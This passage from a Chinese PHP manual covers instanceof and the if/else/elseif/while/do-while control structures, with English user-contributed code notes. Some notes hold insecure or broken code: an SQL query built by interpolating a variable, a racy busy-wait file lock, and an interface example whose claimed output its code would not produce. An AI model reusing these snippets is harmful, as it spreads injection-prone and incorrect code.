       if (($fp = @fopen("$classname.php", 'r', 1)) and fclose($fp)) include_once "$classname.php";
   }

   function foo($obj)
   {
       if (class_exists('ABC', false) && $obj instanceof ABC) echo "object is an ABC";
   }
?>
Colin
06-Dec-2005 03:20
To MooGoo:

This will fail, as you pointed out:

<?
if ($moo instanceof "Moo") echo "Goo\n";
?>

but this will not

<?
if ($moo instanceof Moo) echo "Goo\n";
?>

This later example (no quotes around Moo) is shown twice in the example code.
klaazvaag . gmail . com
03-Oct-2005 05:02
If you wish to do a short but dynamic comparison using instanceof, you can use this code:

<?php
class any
{
  function __construct($obj)
  {
   if (is_object($obj))
     if ($obj instanceof self)
       echo '$obj is an instance of '.__CLASS__;
  }
}
?>
MooGoo
01-Sep-2005 10:42
instanceof can compare a class instance to a string which contains a class name. However that string must be contained in a variable, it will not work as a return value from a function (for instance, get_class()) or even from a regular inline string.

<?php
class Moo
{
   function Goo()
   {
       $moo = "I do nothing";
   }
}

$moo = new Moo;

//Will fail
if ($moo instanceof "Moo") echo "Goo\n";

//Will also fail
if ($moo instanceof get_class($moo)) echo "Goo\n";

//However...

//Will succeed
$className = get_class($moo);

if ($moo instanceof $className) echo "Goo\n";

//Will also succeed
$className = "Moo";

if ($moo instanceof $className) echo "Goo\n";

?>
archanglmr at yahoo dot com
18-Feb-2005 10:37
Negated instanceof doesn't seem to be documented. When I read instanceof I think of it as a compairson operator (which I suppose it's not).

<?php
class A {}
class X {}

//parse error from !
if (new X !instanceof A) {
   throw new Exception('X is not an A');
}
//proper way to negate instanceof ?
if (!(new X instanceof A)) {
   throw new Exception('X is not an A');
}
?>
d dot schneider at 24you dot de
19-Dec-2004 04:42
use this for cross-version development...

<?php

function is_instance_of($IIO_INSTANCE, $IIO_CLASS){
   if(floor(phpversion()) > 4){
       if($IIO_INSTANCE instanceof $IIO_CLASS){
           return true;
           }
       else{
           return false;
           }
       }
   elseif(floor(phpversion()) > 3){
       return is_a($IIO_INSTANCE, $IIO_CLASS);
       }
   else{
       return false;
       }
   }

?>
glen at arkadia-systems dot com
11-Sep-2004 01:00
If you are updating code to replace 'is_a()' with the PHP5 compliant
'instanceof' operator, you may find it necessary to change the basic
architecture of your code to make this work.

'instanceof' will throw a fatal error if the object being checked for does not
exist.

'is_a()' will simply return false under this condition.

In the example below, 'is_a()' would effectively detect the need to create an
instance of class 'A', but in this case 'instanceof' will crash your program
with a fatal error.

<?php
// define classes

// Commenting this class will cause an error when 'instanceof' looks for 'A'
// class A {}

class B {}

// create a new object
// $thing = new A();
$thing = new B();

if (is_a($thing, 'A')) {
   echo 'Yes, $thing is_a A<br>';
} else {
   echo 'No, $thing is not is_a A<br>';
}

if ($thing instanceof A) {
   echo 'Yes, $thing is an instaceof A<br>';
} else {
   echo 'No, $thing is not an instaceof A<br>';
}

?>

>>> Output:
No, $thing is not is_a A
Fatal error: Class 'A' not found in is_a-instanceof.php on line 19
>>>

A suitable work-around for this situation is to check for the existence of the
class before performing the 'instanceof' comparison:

<?php

/* ... */

if (class_exists('A') && $thing instanceof A) {
   echo 'Yes, $thing is an instaceof A<br>';
} else {
   echo 'No, $thing is not an instaceof A<br>';
}

?>
zimba dot spam at gmail dot com
11-Sep-2004 03:17
instanceof cannot use a string for the comparison like is_a.
Instead, you can use a class instance (not documented)
Example :
<?
$x = new myClass();
$y = new myClass();

echo is_a($x, get_class($y));  // Returns true/1

echo $x instanceof get_class($y);  // Doesn't work, instead use :

echo $x instanceof $y;
?>

Cheers,
zimba
"Leo Pedretti" <lpedretti at suserver dot com>
24-Aug-2004 11:59
The instanceof operator also checks the interface tree. For example, the following code:

<?

interface Human {
   public function say($var);
   public function gender();
}

class man implements Human {
   public function say($var) {
   "Oh yeah, $var\n"
   }

   public function gender() {
   return "male";
   }
}

class woman implements Human {
   public function say($var) {
   "Oh dear, $var\n"
   }

   public function gender() {
   return "female";
   }
}

$m = new man;
$w = new woman;
if ($p instanceof Human) {
   print "\$p is Human.\n";
} else {
   print "\$p is not Human.\n";
}
print "\$m is of gender ".$m->gender()."\n";

if ($w instanceof Human) {
   print "\$w is Human.\n";
} else {
   print "\$w is not Human.\n";
}
print "\$w is of gender ".$w->gender()."\n";
?>

Will produce the output

$m is Human.
$m is of gender male
$w is Human.
$w is of gender female
Jesse Scott (scotje at wwc dot edu)
07-Jul-2004 09:52
Since it's not stated authoritatively here, I'll add that instanceof *does* check all the way up the inheritence tree.

So in this code:

<?php
   class A
   {
       var $someProp;
   }

   class B extends A
   {
       function showProp()
       {
           echo $someProp;
       }
   }

   $obj1 = new B;

   if ($obj1 instanceof A)
       echo "Instanceof checks inheritence tree!";
   else
       echo "Instanceof does not check inheritence tree!";
?>

The first branch of the if/else block is executed since ($obj1 instanceof A) evaulates to TRUE.
add a note add a note

后退 | 起点 | 前进
数组运算符 | 上一级 | 流程控制


流程控制

PHP 手册
后退 前进

章 16. 流程控制

目录
if
else
elseif
流程控制的替代语法
while
do-while
for
foreach
break
continue
switch
declare
return
require()
include()
require_once()
include_once()

任何 PHP 脚本都是由一系列语句构成的。一条语句可以是一个赋值语句，一个函数调用，一个循环，甚至一个什么也不做的（空语句）条件语句。语句通常以分号结束。此外，还可以用花括号将一组语句封装成一个语句组。语句组本身可以当作是一行语句。本章讲述了各种语句类型。

if

if 结构是很多语言包括 PHP 在内最重要的特性之一，它允许按照条件执行代码片段。PHP 的 if 结构和 C 语言相似：

<?php
if (expression)
    statement
?>

如同在表达式一章中定义的，expression 按照布尔求值。如果 expression 的值为 TRUE，PHP 将执行 statement，如果值为 FALSE － 将忽略 statement。有关哪些值被视为 FALSE 的更多信息参见转换为布尔值一节。

如果 $a 大于 $b，则以下例子将显示 a is bigger than b：

<?php
if ($a > $b)
    echo "a is bigger than b";
?>

经常需要按照条件执行不止一条语句，当然并不需要给每条语句都加上一个 if 子句。可以将这些语句放入语句组中。例如，如果 $a 大于 $b，以下代码将显示 a is bigger than b 并且将 $a 的值赋给 $b：

<?php
if ($a > $b) {
    echo "a is bigger than b";
    $b = $a;
}
?>

if 语句可以无限层地嵌套在其它 if 语句中，这给程序的不同部分的条件执行提供了充分的弹性。

add a note add a note User Contributed Notes
29-May-2006 04:07
$foo=false will never work as it is tha assign operator.

$foo == false is required
abu_hurayrah at hidayahonline dot org
25-May-2006 04:42
Regarding lamfeust's example:

   Just a note about initializing variable

   <?php

   if($foo=false)
     print("true");
   else
     print("false");

   // this print on screen false

   ?>

This will print out "false" due to the expression "$foo=false" returning the value of the assignment - boolean false, in this case.

I'm not sure what, exactly, that had to do with initialization.
dougnoel
06-May-2006 09:29
Further response to Niels:

It's not laziness, it's optimization.  It saves CPUs cycles.  However, it's good to know, as it allows you to optimize your code when writing.  For example, when determining if someone has permissions to delete an object, you can do something like the following:

if ($is_admin && $has_delete_permissions)

If only an admin can have those permissions, there's no need to check for the permissions if the user is not an admin.
roan dot kattouw at home dot nl
09-Dec-2005 08:49
In response to Niels: The ANSI C standard also dictates this laziness .
niels dot laukens at tijd dot com
26-Dec-2004 11:49
For the people that know C: php is lazy when evaluating expressions. That is, as soon as it knows the outcome, it'll stop processing.

<?php
if ( FALSE && some_function() )
   echo "something";
// some_function() will not be called, since php knows that it will never have to execute the if-block
?>

This comes in nice in situations like this:
<?php
if ( file_exists($filename) && filemtime($filename) > time() )
   do_something();
// filemtime will never give an file-not-found-error, since php will stop parsing as soon as file_exists returns FALSE
?>
add a note add a note

后退 | 起点 | 前进
类型运算符 | 上一级 | else


else

经常需要在满足某个条件时执行一条语句，而在不满足该条件时执行其它语句，这正是 else 的功能。else 延伸了 if 语句，可以在 if 语句中的表达式的值为 FALSE 时执行语句。例如以下代码在 $a 大于 $b 时显示 a is bigger than b，反之则显示 a is NOT bigger than b：

<?php
if ($a > $b) {
    echo "a is bigger than b";
} else {
    echo "a is NOT bigger than b";
}
?>

else 语句仅在 if 以及 elseif（如果有的话）语句中的表达式的值为 FALSE 时执行（参见 elseif）。

add a note add a note User Contributed Notes
gwmpro at yahoo dot com
04-May-2006 11:00
I am new to this language. It seems to me that only the semicolon ';' is required, the brackets '{}' are not if there is only one statement. The code segment below would be legal.

<?php
if ($a > $b)
   echo "a is bigger than b";
else
   echo "a is NOT bigger than b";

?>
Caliban Darklock
09-Nov-2004 03:24
If you're coming from another language that does not have the "elseif" construct (e.g. C++), it's important to recognise that "else if" is a nested language construct and "elseif" is a linear language construct; they may be compared in performance to a recursive loop as opposed to an iterative loop.

<?php
$limit=1000;
for($idx=0;$idx<$limit;$idx++)
{ $list[]="if(false) echo \"$idx;\n\"; else"; }
$list[]=" echo \"$idx\n\";";
$space=implode(" ",$list);| // if ... else if ... else
$nospace=implode("",$list); // if ... elseif ... else
$start=array_sum(explode(" ",microtime()));
eval($space);
$end=array_sum(explode(" ",microtime()));
echo $end-$start . " seconds\n";
$start=array_sum(explode(" ",microtime()));
eval($nospace);
$end=array_sum(explode(" ",microtime()));
echo $end-$start . " seconds\n";
?>

This test should show that "elseif" executes in roughly two-thirds the time of "else if". (Increasing $limit will also eventually cause a parser stack overflow error, but the level where this happens is ridiculous in real world terms. Nobody normally nests if() blocks to more than a thousand levels unless they're trying to break things, which is a whole different problem.)

There is still a need for "else if", as you may have additional code to be executed unconditionally at some rung of the ladder; an "else if" construction allows this unconditional code to be elegantly inserted before or after the entire rest of the process. Consider the following elseif() ladder:

<?php
if($a) { conditional1(); }
elseif($b) { conditional2(); }
elseif($c) { conditional3(); }
elseif($d) { conditional4(); }
elseif($e) { conditional5(); }
elseif($f) { conditional6(); }
elseif($g) { conditional7(); }
elseif($h) { conditional8(); }
else { conditional9(); }
?>

To insert unconditional preprocessing code for $e onward, one need only split the "elseif":

<?php
if($a) { conditional1(); }
elseif($b) { conditional2(); }
elseif($c) { conditional3(); }
elseif($d) { conditional4(); }
else {
....unconditional();
....if($e) { conditional5(); }
....elseif($f) { conditional6(); }
....elseif($g) { conditional7(); }
....elseif($h) { conditional8(); }
....else { conditional9(); }
}
?>

The alternative is to duplicate the unconditional code throughout the construct.
cap at capsi dot com
06-Oct-2000 01:58
Often you can avoid large if/else statements in your code by using the ternary operator. For example:

<?php
echo "You have $i ". ($i==1 ? "message" : "messages"). " in your mailbox.\n";
?>
add a note add a note

后退 | 起点 | 前进
流程控制 | 上一级 | elseif


elseif

elseif，和此名称暗示的一样，是 if 和 else 的组合。和 else 一样，它延伸了 if 语句，可以在原来的 if 表达式值为 FALSE 时执行不同语句。但是和 else 不一样的是，它仅在 elseif 的条件表达式值为 TRUE 时执行语句。例如以下代码将根据条件分别显示 a is bigger than b，a equal to b 或者 a is smaller than b：

<?php
if ($a > $b) {
    echo "a is bigger than b";
} elseif ($a == $b) {
    echo "a is equal to b";
} else {
    echo "a is smaller than b";
}
?>

在同一个 if 结构中可以有多个 elseif 语句。第一个表达式值为 TRUE 的 elseif 语句（如果有的话）将会执行。在 PHP 中，也可以写成“else if”（两个单词），它和“elseif”（一个单词）的行为完全一样。句法分析的含义有少许区别（如果你熟悉 C 语言的话，这是同样的行为），但是底线是两者会产生完全一样的行为。

elseif 的语句仅在之前的 if 或 elseif 的表达式值为 FALSE，而当前的 elseif 表达式值为 TRUE 时执行。

add a note add a note User Contributed Notes
mega0m3ga at yahoo dot com
10-Apr-2005 11:44
Dont make your code as jumbled up as this:

if (!$username || !$password) {
   echo("<form method='post' action='signin.php'>");
} elseif($action == "c" || $action == "d" || $action == "e" || $action == "f" || $action == "g" || $action == "h" || $action == "i") {
   echo("<form method='post' action='" . findbattle() . ".php'><input type='hidden' name='strt' value='y'>");
} elseif($action == "b") {
   die ("Sorry, dude. You're banned from this site!");
} else {
   echo("<form method='post' action='game.php'>");
}

It works best when you only compare related variables.
add a note add a note

后退 | 起点 | 前进
else | 上一级 | 流程控制的替代语法


流程控制的替代语法

PHP 提供了一些流程控制的替代语法，包括 if，while，for，foreach 和 switch。替代语法的基本形式是把左花括号（{）换成冒号（:），把右花括号（}）分别换成 endif;，endwhile;，endfor;，endforeach; 以及 endswitch;。

<?php if ($a == 5): ?>
A is equal to 5
<?php endif; ?>

在上面的例子中，HTML 内容“A is equal to 5”用替代语法嵌套在 if 语句中。该 HTML 的内容仅在 $a 等于 5 时显示。

替代语法同样可以用在 else 和 elseif 中。下面是一个包括 elseif 和 else 的 if 结构用替代语法格式写的例子：

<?php
if ($a == 5):
    echo "a equals 5";
    echo "...";
elseif ($a == 6):
    echo "a equals 6";
    echo "!!!";
else:
    echo "a is neither 5 nor 6";
endif;
?>

更多例子参见 while，for 和 if。

add a note add a note User Contributed Notes
09-May-2006 05:51
matheo's example is the classic act of using a hammer to set a screw.  (No offense...)

As programmers, we <b>must</b> become comfortable that the result of a logic-expression <i>is a value</i> just like any other.

Therefore instead of:

<?php
$a = 1 ;
$b = 2 ;
$is_a_bigger = ($a > $b) ? 1 : 0 ;
echo $a_is_bigger ;
# returns 0
?>

Use this:

<?php
$a = 1;
$b = 2;
$a_is_bigger = $a > $b;
...
?>

You read it as "variable $a_is_bigger is set to the result of the comparison of $a to $b".  Compare that to the read-thru of the upper example: "variable $is_a_bigger is set to true if the is-greater comparison of $a to $b is true, and set to false if the comparison is false."  How redundant.  The only thing more redundant is the ever increasingly popular 'duh' logic of today's <i>modern</i> PHP programming:

<?php
   $a = 1;
   $b = 2;
   if( $a > $b )
   {
       $a_is_bigger = true ;
   }
   else if( $b >= $a )
   {
       $a_is_bigger = false ;
   }
?>

8 lines to do what one simple construction can do ... which if we <i>learn to recognize it</i> vastly speeds the reading and appreciation of the purpose of the arbitrary algorithm.

The <b>only constructive criticism</b> that I've heard about the use of both ternary operators and logic-evaluation-direct-assign is that neither of them are easy to debug by adding 'prints' or 'echos' to their interiors.  Point well made.  Yet, if they are as simple as the above examples, it must be argued that the use of 8 lines to accomplish what a single comparison-assignment could do may well have resulted in more potential errors.  (For instance, did I remember to put the '=' in the second comparison as the exact compliment of the first?)

rlynch AT lynchmarks DOT com
davidforest at gmail dot com
20-Oct-2005 09:26
If you need a tidy way to do a lot of condition testing, switch statement will do the job well:

switch (true){

   case ($a>0):
                     //do sth;
                     break;
   case ($b>0):
                     //do sth;
                     break;
   case ($c>0):
                     //do sth;
                     break;
   case ($d>0):
                     //do sth;
                     break;

}
skippy at zuavra dot net
27-Jun-2005 07:32
If it needs saying, this alternative syntax is excellent for improving legibility (for both PHP and HTML!) in situations where you have a mix of them.

Interface templates are very often in need of this, especially since the PHP code in them is usually written by one person (who is more of a programmer) and the HTML gets modified by another person (who is more of a web designer). Clear separation in such cases is extremely useful.

See the default templates that come with WordPress 1.5+ (www.wordpress.org) for practical and smart examples of this alternative syntax.
groundzero at 0845 dot uk dot com
19-May-2005 04:04
Person below...

paul at example dot com didnt say its was a replacement, or exactly the same as the if statement. He just gave a piece of code that, in this case had the same effect.
siebe-tolsma at home dot nl
19-Mar-2004 02:22
As a rection on sttoo, if you use nested if's a bit different they are less likely to cause mistakes:

<?php
$one = true;
$two = true;

$result = ($one ? "one" : ($two ? "two" : "none"));    // $result is "one"

$one = false;
$result = ($one ? "one" : ($two ? "two" : "none"));    // $result is "two"

$two = false;
$result = ($one ? "one" : ($two ? "two" : "none"));    // $result is "none"

?>
ssttoo at hotmail dot com
06-Dec-2003 09:20
Nested ternary operators can be used, although not a "good programming practice", as it does not promote readability and is prone to errors.

<?php
$one = true;
$two = true;
$result = ($one) ? "one" : (($two) ? "two" : "none");    // $result is "one"
$result = ($one) ? "one" : ($two) ? "two" : "none";      // $result is "two"
?>
i a m 4 w e b w o r k at hotmail dot com
13-Oct-2003 07:38
Good tutorial on using alternative control structure syntax at:
http://www.onlamp.com/pub/a/php/2001/05/03/php_foundations.html?page=1
paul at example dot com
06-Sep-2003 09:27
There is an other alternative syntax:

<?php
if ($a > 5) {
   echo "big";
} else {
   echo "small";
}
?>

can be replaced by:

<?php
echo $a > 5 ? "big" : "small";
?>
matheo at step dot polymtl dot ca
05-Sep-2003 07:37
You can use a short syntax for "if"
$a = (condition) ? value if condition is true : value if condition is false;

<?php
$a = 1 ;
$b = 2 ;
$is_a_bigger = ($a > $b) ? 1 : 0 ;
echo $a_is_bigger ;
# returns 0

$a = 2 ;
$b = 1 ;
$is_a_bigger = ($a > $b) ? 1 : 0 ;
echo $is_a_bigger ;
# returns 1

?>
add a note add a note

后退 | 起点 | 前进
elseif | 上一级 | while


while

while 循环是 PHP 中最简单的循环类型。它和 C 语言中的 while 表现得一样。while 语句的基本格式是：

while (expr)
    statement

while 语句的含意很简单，它告诉 PHP 只要 while 表达式的值为 TRUE 就重复执行嵌套中的循环语句。表达式的值在每次开始循环时检查，所以即使这个值在循环语句中改变了，语句也不会停止执行，直到本次循环结束。有时候如果 while 表达式的值一开始就是 FALSE，则循环语句一次都不会执行。

和 if 语句一样，可以在 while 循环中用花括号括起一个语句组，或者用替代语法：

while (expr):
    statement
    ...
endwhile;

下面两个例子完全一样，都显示数字 1 到 10：

<?php
/* example 1 */

$i = 1;
while ($i <= 10) {
    echo $i++;  /* the printed value would be
                    $i before the increment
                    (post-increment) */
}

/* example 2 */

$i = 1;
while ($i <= 10):
    print $i;
    $i++;
endwhile;
?>

add a note add a note User Contributed Notes
startide at free dot fr
27-Apr-2006 11:08
Talking about while, dropdown menus, and ternary operator which was mentionned before, you can combine them to have drop menu built with a value selected according to your wishses.

<select name="whatever">
<?php
while ($data = mysql_fetch_assoc($requeteID))
{
  $menu .= '<option value="'.$data['id'].'"';
  $menu .= ($data['id'] == $_GET['id'] ? ' selected>' :'>');
  $menu .= $data['name'].'</option>';
}
?>
</select>

Therefore if you are creating a form to select data from database, and want the form displayed when search is done to show what parameters have been chosen that will do the trick !!

Let's say I make a search between different sports, I choose football in my form, send my query... then displays are show, the menu will have football selected because of the ternary operator that displays "selected>" on the <option> ;) Enjoy ^^
sub7ime at yahoo dot com
04-Apr-2006 03:00
I was reading the excellent post by wbryson at gmail dot com and I wanted to just add that the ? : syntax is known as the 'ternary operator' for those who want to learn more about it.
chris mushy
11-May-2005 09:43
Just a note to stuart - the reason for this behaviour is because using the while(value = each(array)) construct increments the internal counter of the array as its looped through. Therefore if you intend to repeat the loop, you need to reset the counter. eg:

$one = array("10", "20", "30", "40");
$two = array("a", "b", "c", "d");

$i=0;
while($i < count($one)) {
   reset($two);
   while($a = each($two)) {
       echo $a[1]." - ".$one[$i].", ";
   }
   $i++;

}

This produces:

a - 10, b - 10, c - 10, d - 10, a - 20, b - 20, c - 20, d - 20, a - 30, b - 30, c - 30, d - 30, a - 40, b - 40, c - 40, d - 40,
stuart
11-May-2005 05:06
A note to anyone nesting a while loop inside a while loop....

Consider the example below:

$one = array("10", "20", "30", "40");
$two = array("a", "b", "c", "d");

$i=0;
while($i < count($one)) {

   while($a = each($two)) {
       echo $a[1]." - ".$one[$i].", ";
   }
   $i++;

}

This will return the following:
a - 10, b - 10, c - 10, d - 10

So in effect the main while loop is only doing one iteration... and not 4 as expected....

Now the example below works as expected..
$i=0;
while($i < count($one)) {

   foreach($two as $a) {
       echo $a." - ".$one[$i]."\n";
   }
   $i++;

}

by returning:
a - 10, b - 10, c - 10, d - 10, a - 20, b - 20, c - 20, d - 20, a - 30, b - 30, c - 30, d - 30, a - 40, b - 40, c - 40, d - 40

So there is clearly a difference on how while statements work in comparison to other looping structures.

I think it would be good to have an explaination of this strange behaviour.
14-Mar-2005 01:54
virtualjosh at yahoo dot com (Hosh) wrote on: 16-Aug-2003 12:52

The speedtest is interesting. But the seemingly fastest way contains a pitfall for beginners who just use it because it is fast and fast is cool ;)

Walking through an array with next() will cut of the first entry, as this is the way next() works ;)

If you really need to do it this way, make sure your array contains an empty entry at the beginning. Another way would be to use

<?php
while ($this = current($array) ){
   do_something($this);
   next($array);
}
?>

There is an impact on speed for sure but I did not test it. I would advise to stick with conventional methods because current(),next() in while loops is too error prone for me.
Ilene Jones
22-Feb-2005 05:12
For Perl programmers, break is similar to last

while (1) {
   while(cond) {
       if (error) {
           break 2; // in perl this could have been last;
       }
   }
}
corychristison[AT]NSPAMlavacube[dot]com
04-Dec-2004 07:08
While can do wonders if you need something to queue writing to a file while something else has access to it.

Here is my simple example:

<?php

  function write ($data, $file, $write_mode="w") {
   $lock = $file . ".lock";
     // run the write fix, to stop any clashes that may occur
   write_fix($lock);
     // create a new lock file after write_fix() for this writing session
   touch( $lock );
     // write to your file
   $open = fopen($file, $write_mode);
   fwrite($open, $data);
   fclose($open);
     // kill your current lock
   unlink($lock);
  }

  function write_fix ($lock_file) {
   while( file_exists($lock_file){
     // do something in here?
     // maybe sleep for a few microseconds
     // to maintain stability, if this is going to
     // take a while ?? [just a suggestion]
   }
  }

?>

This method is not recommended for use with programs that will be needing a good few seconds to write to a file, as the while function will eat up alot of process cycles.  However, this method does work, and is easy to implement.  It also groups the writing functions into one easy to use function, making life easier. :-)
virtualjosh at yahoo dot com (Hosh)
16-Aug-2003 06:52
I made a test traversing an array (simple, but long, numeric array with numeric keys). My test had a cycle per method, and multiplied each array element by 100.. These were my results:

******************************************************
30870 Element Array Traversing

[test_time] [BEGINS/RESETS @ time_start = 1060977996.689]
0.2373 seg later -> while (list ($key, $val) = each ($array)) ENDS

[test_time] [BEGINS/RESETS @ time_start = 1060977996.9414]
0.1916 seg later -> while (list ($key,) = each ($array))  ENDS

[test_time] [BEGINS/RESETS @ time_start = 1060977997.1513]
0.1714 seg later -> foreach ($array AS $key=>$value) ENDS

[test_time] [BEGINS/RESETS @ time_start = 1060977997.3378]
0.0255 seg later -> while ($next = next($array)) ENDS

[test_time] [BEGINS/RESETS @ time_start = 1060977997.3771]
0.1735 seg later -> foreach ($array AS $value) ENDS
**************************************************************

foreach is fatser than a while (list  - each), true.
However, a while(next) was faster than foreach.

These were the winning codes:

$array = $save;
test_time("",1);
foreach ($array AS $key=>$value)
   $array[$key] = $array[$key] * 100;
test_time("foreach (\$array AS \$key=>\$value)");

$array = $save;
test_time("",1);
reset($array);
while ($next = next($array))
{    $key = key($array);
   $array[$key] = $array[$key] * 100;
}
test_time("while (\$next = next(\$array))");
*********************************************************
The improvement seems huge, but it isnt that dramatic in real practice. Results varied... I have a very long bidimensional array, and saw no more than a 2 sec diference, but on 140+ second scripts.  Notice though that you lose control of the $key  value (unless you have numeric keys, which I tend to avoid), but it is not always necessary.

I generally stick to foreach. However, this time, I was getting Allowed Memory Size Exceeded errors with Apache. Remember foreach copies the original array, so this now makes two huge 2D arrays in memory and alot of work for Apache. If you are getting this error, check your loops. Dont use the whole array on a foreach. Instead get the keys and acces the cells directlly. Also, try and use unset and Referencing on the huge arrays.

Working on your array and loops is a much better workaround than saving to temporary tables and unsetting (much slower).
Merve
11-Jul-2003 12:49
This is an easy way for all you calculator creators to make it do factorials. The code is this:

<?php
$c = ($a-1);
$d = $a;
while ($c>=1)
{
$a = ($a*$c);
$c--;
}
print (" $d! = $a");
?>

$a changes, and so does c, so we have to make a new variable, $d, for the end statement.
Merve
10-Jul-2003 11:39
Here's something really cool and simple. Using the while loop, you can calculate exponents (powers). The code looks like this:

<?php
//Since the values of $a and $b will be changing,
//we need to assign new variables to them, $c and $d.
$c = $a;
$d = $b;
while ($b>1)
{
//Here we're changing the value of $a.
$a = ($a*$c);
//Here we're changing the value of $b
$b--;
}
//And to top it all off, a little statement at the end.
print (" $c<sup>$d</sup> &#61; $a");
?>

This code works because we are subtracting 1 from the value of $b each time through the loop. Since we're saying that $a = ($a*$c), we are changing the value of $a but not the value of $c. We need the variables $c and $d for the statement at the end because the values of $a and $b have changed. This is a really simple trick that most of you could have figured out in a matter of seconds, but it is a good trick for beginners like me.
redshift at pandora dot be
04-Jul-2003 09:48
You can use break in your while loop to stop execution of the loop, and continue to resume it.
bens at effortlessis dot com
26-Jun-2003 08:32
I recently did a performance analysis, comparing while() and foreach() when traversing an array.

Foreach() is nearly 2x faster - an effect most notable when traversing large, multi-dimensional arrays.

Here's my code:
<?

for ($i=0; $i<10000; $i++)
       $a[$i]=$i*2;

echo "list time: \n".$start=mktime()."\n";
for ($i=0; $i<1000; $i++)
       {
       reset($a);
       while(list($k, $v)=each($a))
               {
               echo "";
               }
       }
echo ($finish=mktime())."\n";
$result=$finish-$start;
echo "Result: $result seconds\n\n";

echo "for time: \n".$start=mktime()."\n";
for ($i=0; $i<1000; $i++)
       {
       foreach($a as $k => $v)
               {
               echo "";
               }
       }
echo ($finish=mktime())."\n";
$result=$finish-$start;
echo "Result: $result seconds\n\n";
?>

And here's the results on an 1800+ Athlon:
list time:
1056579474
1056579512
Result: 38 seconds

fore time:
1056579512
1056579533
Result: 21 seconds
destes at ix dot netcom dot com dot nospam
20-Jun-2003 01:17
Be very careful about the exact syntax of your condition clause.  Specifically, if you're not careful, you can easily get an infinite loop, and will wonder why the PHP page isn't loading.  For example:

<?php
while ($loop = TRUE) {
   ...
}
?>

Instead of $loop == TRUE.  This is a common mistake but it hurts more when it's in a structure like a while().
bob at kiwi-interactive dot com
16-May-2003 03:08
I noticed the post above about building a multi coloumn table and making use of the : operator

I did mine this way
----------------------
<table>
  <?php // get the list of categories
             $list_of_cats=new links();
           $list_of_cats->show_list_of_cats();

           $total_cats=count($list_of_cats->list_of_cats);
           $a=0;
           $b=0;
           while($a<$total_cats) {
               if($b==0) {
                   echo("\n<tr>");
               }
               echo("\n<td><input type=\"checkbox\" name=\"id_".$a."\" value=\"".$list_of_cats->list_of_cats[$a]["id"]."\">
&nbsp;".$list_of_cats->list_of_cats[$a]["category"]."</td>");
               if($b==1) {
                   echo("</tr>\n");
                   $b=0;
                   $last_tr=true;
               } else {
                   $b++;
                   $last_tr=false;
               }
               $a++;
           }
           // did the last one add a tr if not add a blank one?
           if(!$last_tr) {
               // nope
               echo("<td>&nbsp;</td></tr>");
           }
         ?>
</table>
---------------------------------
This will build a 2 coloumn table and populate each (it was part of a form). If the bottom right cell is lefte empty (that is you have an odd number of items) it correctly adds a blank cell and closes the table (XHTML valid)
skinnerd at nettally dot com
12-Apr-2003 12:54
Using the ":" and endwhile; in lieu of the curly braces allowed me to nest an if else condition within the while statement as in the following:
//Sets $count at 1 initially
$count=1;
//Loads thumbnail images in table 3 columns wide, select images to load
$result = mysql_query("SELECT URLImage, FileName, URLThumb, FileNameThumb, DatePhotographed, Comment  FROM PLANTS, WEBIMAGES WHERE WEBIMAGES.PID='$PID' and WEBIMAGES.PID=PLANTS.PID");

<?php
while ( $row = mysql_fetch_array($result) ) :
  //Check to see if this is 3rd image and if so, close the table row and reset the count to 1

if ($count==3){
   echo('<TD><A HREF="' . $row['URLImage'] . '' . $row['FileName'] . '">');
   echo('<IMG SRC=' . $row['URLThumb'] . '' . $row['FileNameThumb'] .'  ALT="Click to see full sized image"></A><br>');
   echo('<center><FONT SIZE=-1>DATE: ' . $row['DatePhotographed'] . '<br>' . $row['Comment'] . '</center></font><br></TD></TR><TR>');
   $count=1;
  //If this is not the 3rd image, add the image in the table and add 1 to the count
  }else{
   echo('<TD><A HREF="' . $row['URLImage'] . '' . $row['FileName'] . '">');
   echo('<IMG SRC=' . $row['URLThumb'] . '' . $row['FileNameThumb'] .'  ALT="Click to see full sized image"></A><br>');
   echo('<center><FONT SIZE=-1>DATE: ' . $row['DatePhotographed'] . '<br>' . $row['Comment'] . '</center></font><br></TD>');
   $count++;
  }
endwhile;
?>

It would not work nested within the curly braces of the while conditional.
tcn at pandora dot be
05-Apr-2003 08:46
When you do a while loop like this:

<?php
$String=array ("a","b","c");
$i=0;
while ($String[$i])
     {
     echo $String[$i];
     $i++;
       }
?>

And error reporting is set to E_ALL you get a warning message saying there's an undefined index.

There's a simple solution to this:

<?php
$String=array ("a","b","c);
$i=0;
while ($i<count($String))
   {
   echo $String[$i];
   $i++;
     }
?>

And away the warning is!
12-Dec-2002 05:48
do {

   statement...;

} while (condition);

it is another good choice.
chayes at antenna dot nl
27-Feb-2002 06:42
At the end of the while (list / each) loop the array pointer will be at the end.
This means the second while loop on that array will be skipped!

You can put the array pointer back with the reset($myArray) function.

example:

<?php
$myArray=array('aa','bb','cc','dd');
 while (list ($key, $val) = each ($myArray) ) echo $val;
reset($myArray);
 while (list ($key, $val) = each ($myArray) ) echo $val;
?>
moriarty at all-ears dot co dot uk
14-Feb-2002 04:58
If you want to skip an iteration of a while loop, you can use continue.

This will result in the rest of the present iteration being skipped, and it will go back to the start of the loop for the next iteration.

Moriarty
yohgaki at hotmail dot com
01-Apr-2001 05:09
If you want to traverse array, foreach() is faster than while() a little.
[Benched with PHP4.0.4pl1/Apache DSO/Linux]

i.e.
foreach ($array as $k => $v)
is a little faster than
while (list($k,$v) = each($array))

You might want to use foreach for large arrays.
add a note add a note

后退 | 起点 | 前进
流程控制的替代语法 | 上一级 | do-while


do-while

do-while 和 while 循环非常相似，区别在于表达式的值是在每次循环结束时检查而不是开始时。和正规的 while 循环主要的区别是 do-while 的循环语句保证会执行一次（表达式的真值在每次循环结束后检查），然而在正规的 while 循环中就不一定了（表达式真值在循环开始时检查，如果一开始就为 FALSE 则整个循环立即终止）。

do-while 循环只有一种语法：

<?php
$i = 0;
do {
   echo $i;
} while ($i > 0);
?>

以上循环将正好运行一次，因为经过第一次循环后，当检查表达式的真值时，其值为 FALSE（$i 不大于 0）而导致循环终止。

资深的 C 语言用户可能熟悉另一种不同的 do-while 循环用法，把语句放在 do-while(0) 之中，在循环内部用 break 语句来结束执行循环。以下代码片段示范了此方法：

<?php
do {
    if ($i < 5) {
        echo "i is not big enough";
        break;
    }
    $i *= $factor;
    if ($i < $minimum_limit) {
        break;
    }
    echo "i is ok";

    /* process i */

} while(0);
?>

如果还不能立刻理解也不用担心。即使不用此“特性”也照样可以写出强大的代码来。

add a note add a note User Contributed Notes
rlynch at lynchmarks dot com
09-May-2006 05:02
